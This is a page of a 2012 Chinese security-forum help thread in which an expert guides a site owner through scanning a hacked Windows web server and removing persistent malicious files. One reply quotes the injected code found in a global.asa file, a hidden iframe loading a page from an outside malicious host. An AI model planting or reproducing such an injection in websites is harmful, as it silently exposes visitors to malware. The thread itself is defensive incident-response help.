求救:网站被黑恢复后总有代码删不掉,急求解!!! - 瑞星卡卡安全论坛bbs.ikaka.com

瑞星卡卡安全论坛技术交流区 恶意网站交流求救:网站被黑恢复后总有代码删不掉,急求解!!!

	瑞星“1+2”全新解决方案巡展在广州画上圆满句号		叶院长揭秘：瑞星如何运用AI技术革新网络安全		俄乌冲突加剧网络攻击风险白俄罗斯政府遭APT攻击		瑞星ESM防病毒系统助力矿业大学筑牢网络安全防线
	实力拉满瑞星第四十七次通过VB100测评		携手老友，拥抱新精彩 —— 新论坛新活动，感谢你的陪伴		护航司法，瑞星助力山西省高院构建安全防线		人工智能在网络安全领域的风险和机遇

2 / 3 页

跳转页

[求助] 求救:网站被黑恢复后总有代码删不掉,急求解!!!

本主题由大版主 networkedition 于 2012-7-10 15:42:11 执行合并主题操作

networkedition 社区嘉宾帖子:36698 注册: 2008-02-28 来自:	发表于： 2012-07-09 10:57 \| 短消息资料字号：小中大 11楼回复：求救:网站被黑恢复后总有代码删不掉,急求解!!! 下载sreng工具扫描日志压缩发来，在服务器上扫描 http://www.kztechs.com/sreng/download.html
networkedition 社区嘉宾帖子:36698 注册: 2008-02-28 来自:

ying8125 初生襁褓狮帖子:22 注册: 2006-10-25 来自:	发表于： 2012-07-09 11:07 \| 只看楼主短消息资料字号：小中大 12楼回复 10F networkedition 的帖子 CryptWan.dll，不能压缩，报一个：不能读取 C:\WINDOWS\system32\CryptWan.dll\* 的内容打开的话就报拒绝访问。现在正在全盘搜索：global.asa这个文件
ying8125 初生襁褓狮帖子:22 注册: 2006-10-25 来自:

ying8125 初生襁褓狮帖子:22 注册: 2006-10-25 来自:	发表于： 2012-07-09 11:14 \| 只看楼主短消息资料字号：小中大 13楼回复 11F networkedition 的帖子正在扫描日志，先把搜到的global.asa文件发上来用户系统信息：Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; 360SE) 附件: 文件名:global扫描结果.rar 下载次数:324 文件类型:application/octet-stream 文件大小: 上传时间:2012-7-9 11:14:31 描述:rar
ying8125 初生襁褓狮帖子:22 注册: 2006-10-25 来自:

ying8125 初生襁褓狮帖子:22 注册: 2006-10-25 来自:	发表于： 2012-07-09 11:15 \| 只看楼主短消息资料字号：小中大 14楼回复 10F networkedition 的帖子这是查到的 global.asa文件. http://bbs.ikaka.com/showtopic-9176921.aspx
ying8125 初生襁褓狮帖子:22 注册: 2006-10-25 来自:

ying8125 初生襁褓狮帖子:22 注册: 2006-10-25 来自:	发表于： 2012-07-09 11:33 \| 只看楼主短消息资料字号：小中大 15楼回复 10F networkedition 的帖子现将扫描好的日志发上来,您给看看. 用户系统信息：Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; 360SE) 附件: 文件名:SREngLOG.log 下载次数:303 文件类型:application/octet-stream 文件大小: 上传时间:2012-7-9 11:33:54 描述:log
ying8125 初生襁褓狮帖子:22 注册: 2006-10-25 来自:

ying8125 初生襁褓狮帖子:22 注册: 2006-10-25 来自:	发表于： 2012-07-09 11:35 \| 只看楼主短消息资料字号：小中大 16楼回复 5F networkedition 的帖子 http://bbs.ikaka.com/showtopic-9176923.aspx 这里面的附件是扫描的日志结果.您看看.谢谢
ying8125 初生襁褓狮帖子:22 注册: 2006-10-25 来自:

networkedition 社区嘉宾帖子:36698 注册: 2008-02-28 来自:	发表于： 2012-07-09 12:54 \| 短消息资料字号：小中大 17楼回复 15F ying8125 的帖子 c:\documents and settings\all users\application data\nul.bcdatax.img 找到压缩发来。另wbwchat目录下的global.asa文件有问题，都会链接到：<iframe src=http://aaa.369678.cn/bumian12.htm width=50 height=1></iframe>，虽然已失效，查看一下，如果不是网站的正常文件，建议删除。
networkedition 社区嘉宾帖子:36698 注册: 2008-02-28 来自:

ying8125 初生襁褓狮帖子:22 注册: 2006-10-25 来自:	发表于： 2012-07-09 13:54 \| 只看楼主短消息资料字号：小中大 18楼回复 17F networkedition 的帖子 nul.bcdatax.img,这个文件拷不出来,也是删不了,一拷就报:参数不正确. wbwchat下面的.asa文件都删了.
ying8125 初生襁褓狮帖子:22 注册: 2006-10-25 来自:

ying8125 初生襁褓狮帖子:22 注册: 2006-10-25 来自:	发表于： 2012-07-09 13:56 \| 只看楼主短消息资料字号：小中大 19楼回复：求救:网站被黑恢复后总有代码删不掉,急求解!!! nul.bcdatax.img这个文件能删掉吗?
ying8125 初生襁褓狮帖子:22 注册: 2006-10-25 来自:

networkedition 社区嘉宾帖子:36698 注册: 2008-02-28 来自:	发表于： 2012-07-09 14:02 \| 短消息资料字号：小中大 20楼回复 19F ying8125 的帖子已加QQ，请尽快通过验证。
networkedition 社区嘉宾帖子:36698 注册: 2008-02-28 来自:

<<上一主题|下一主题>>

2 / 3 页

跳转页

页面顶部

Powered by Discuz!NT